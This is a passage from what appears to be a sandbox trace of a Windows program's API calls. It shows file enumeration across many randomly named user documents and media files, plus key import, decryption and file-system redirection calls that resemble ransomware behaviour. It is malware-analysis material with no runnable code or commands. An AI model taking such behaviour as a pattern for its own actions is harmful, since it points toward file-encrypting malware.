nFileSizeLow=0x6fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwAvirxPiQV.swf", cAlternateFileName="")) returned 1 [0040.085] GetLastError () returned 0x0 [0040.085] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1339b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vfiyj.gif", cAlternateFileName="")) returned 1 [0040.085] GetLastError () returned 0x0 [0040.085] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1526f, dwReserved0=0x0, dwReserved1=0x0, cFileName="USKBVwnLaYIUmcn.mp4", cAlternateFileName="")) returned 1 [0040.085] GetLastError () returned 0x0 [0040.085] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6JQB.pptx", cAlternateFileName="")) returned 1 [0040.085] GetLastError () returned 0x0 [0040.085] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9f6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl70jWmP2ggACy.png", cAlternateFileName="")) returned 1 [0040.085] GetLastError () returned 0x0 [0040.085] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab59, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBAT3tYNBcHdC.ppt", cAlternateFileName="")) returned 1 [0040.085] GetLastError () returned 0x0 [0040.086] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x690b, dwReserved0=0x0, dwReserved1=0x0, cFileName="cdHLWs2KE.docx", cAlternateFileName="")) returned 1 [0040.086] GetLastError () returned 0x0 [0040.086] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf37f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHCEF.gif", cAlternateFileName="")) returned 1 [0040.086] GetLastError () returned 0x0 [0040.086] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="P6tWitG0.ppt", cAlternateFileName="")) returned 1 [0040.086] GetLastError () returned 0x0 [0040.086] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZcPV3qk7PkeQOKKV.xls", cAlternateFileName="")) returned 1 [0040.086] GetLastError () returned 0x0 [0040.086] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x134dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="X18sQ2pVfY.mp3", cAlternateFileName="")) returned 1 [0040.086] GetLastError () returned 0x0 [0040.086] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EOk7P095P.xls", cAlternateFileName="")) returned 1 [0040.086] GetLastError () returned 0x0 [0040.086] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDK13uXlqscCs2sGFIQ.doc", cAlternateFileName="")) returned 1 [0040.086] GetLastError () returned 0x0 [0040.087] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="ow3Vle4.swf", cAlternateFileName="")) returned 1 [0040.087] GetLastError () returned 0x0 [0040.087] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11dda, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLUwMaQCvDlNDoCoQ3.xls", cAlternateFileName="")) returned 1 [0040.087] GetLastError () returned 0x0 [0040.087] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RBkxpRf3.m4a", cAlternateFileName="")) returned 1 [0040.087] GetLastError () returned 0x0 [0040.087] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15a45, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCVoNePy.png", cAlternateFileName="")) returned 1 [0040.087] GetLastError () returned 0x0 [0040.087] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x166d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dPc6HLBDbx19XugtWM.jpg", cAlternateFileName="")) returned 1 [0040.087] GetLastError () returned 0x0 [0040.087] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16fbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ywcd6Y1iM3n9j4GZ20Ya.png", cAlternateFileName="")) returned 1 [0040.087] GetLastError () returned 0x0 [0040.087] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x873d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3QVfoNUquygvYJYnxL.m4a", cAlternateFileName="")) returned 1 [0040.087] GetLastError () returned 0x0 [0040.088] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc601, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhsbCQy.csv", cAlternateFileName="")) returned 1 [0040.088] GetLastError () returned 0x0 [0040.088] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OpdqDACZhn.ots", cAlternateFileName="")) returned 1 [0040.088] GetLastError () returned 0x0 [0040.088] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xxTfgN.jpg", cAlternateFileName="")) returned 1 [0040.088] GetLastError () returned 0x0 [0040.088] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaeb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1HtpGhRDb.ots", cAlternateFileName="")) returned 1 [0040.088] GetLastError () returned 0x0 [0040.088] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tE4nVH8Z0MXjyxhaHaNx.pdf", cAlternateFileName="")) returned 1 [0040.088] GetLastError () returned 0x0 [0040.088] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IBowTJ.csv", cAlternateFileName="")) returned 1 [0040.088] GetLastError () returned 0x0 [0040.088] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9776, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAYEd2GbRKcU4.jpg", cAlternateFileName="")) returned 1 [0040.088] GetLastError () returned 0x0 [0040.089] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPTqG3qP.ots", cAlternateFileName="")) returned 1 [0040.089] GetLastError () returned 0x0 [0040.089] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="2cHgIoncB.wav", cAlternateFileName="")) returned 1 [0040.089] GetLastError () returned 0x0 [0040.089] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrKxpbhKKRTpU.docx", cAlternateFileName="")) returned 1 [0040.089] GetLastError () returned 0x0 [0040.089] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x14c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="8AEDnDa.avi", cAlternateFileName="")) returned 1 [0040.089] GetLastError () returned 0x0 [0040.089] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12e32, dwReserved0=0x0, dwReserved1=0x0, cFileName="fmkPuhgsIQDpQcV3y.ppt", cAlternateFileName="")) returned 1 [0040.089] GetLastError () returned 0x0 [0040.117] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8136, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSKEoPSkeN.jpg", cAlternateFileName="")) returned 1 [0040.117] GetLastError () returned 0x0 [0040.119] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x112b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="I5MGz.gif", cAlternateFileName="")) returned 1 [0040.119] GetLastError () returned 0x0 [0040.119] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLSuxvhNNdJma1.ods", cAlternateFileName="")) returned 1 [0040.119] GetLastError () returned 0x0 [0040.120] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1571a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AbOnaFU.xlsx", cAlternateFileName="")) returned 1 [0040.120] GetLastError () returned 0x0 [0040.121] FindNextFileW (in: hFindFile=0x7401c0, lpFindFileData=0x29cfab4 | out: lpFindFileData=0x29cfab4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8daf, dwReserved0=0x0, dwReserved1=0x0, cFileName="dSLdNV.doc", cAlternateFileName="")) returned 1 [0040.121] GetLastError () returned 0x0 [0040.121] FindClose (in: hFindFile=0x7401c0 | out: hFindFile=0x7401c0) returned 1 [0040.308] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x34bf68 | out: hHeap=0xb00000) returned 1 [0040.309] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) Thread: id = 13 os_tid = 0xefc [0037.130] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x35ff78 [0037.131] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x36ff80 [0037.131] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb057e0 [0037.131] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x110102) returned 0x2db0020 [0037.131] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x50) returned 0xb05810 [0037.131] CryptImportKey (in: hProv=0x735018, pbData=0x28cf6f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x28cf760 | out: phKey=0x28cf760*=0x73d5a8) returned 1 [0037.131] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x28cf748, dwFlags=0x0) returned 1 [0037.131] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05810, pdwDataLen=0x28cf714 | out: pbData=0xb05810, pdwDataLen=0x28cf714) returned 1 [0037.131] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0037.132] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0037.132] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0037.132] Wow64DisableWow64FsRedirection (in: OldValue=0x28cf7b0 | out: OldValue=0x28cf7b0*=0x0) returned 1 [0037.132] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05810 | out: hHeap=0xb00000) returned 1 [0037.132] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.133] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.134] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.134] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.134] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.134] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.134] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.134] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.134] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.135] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, 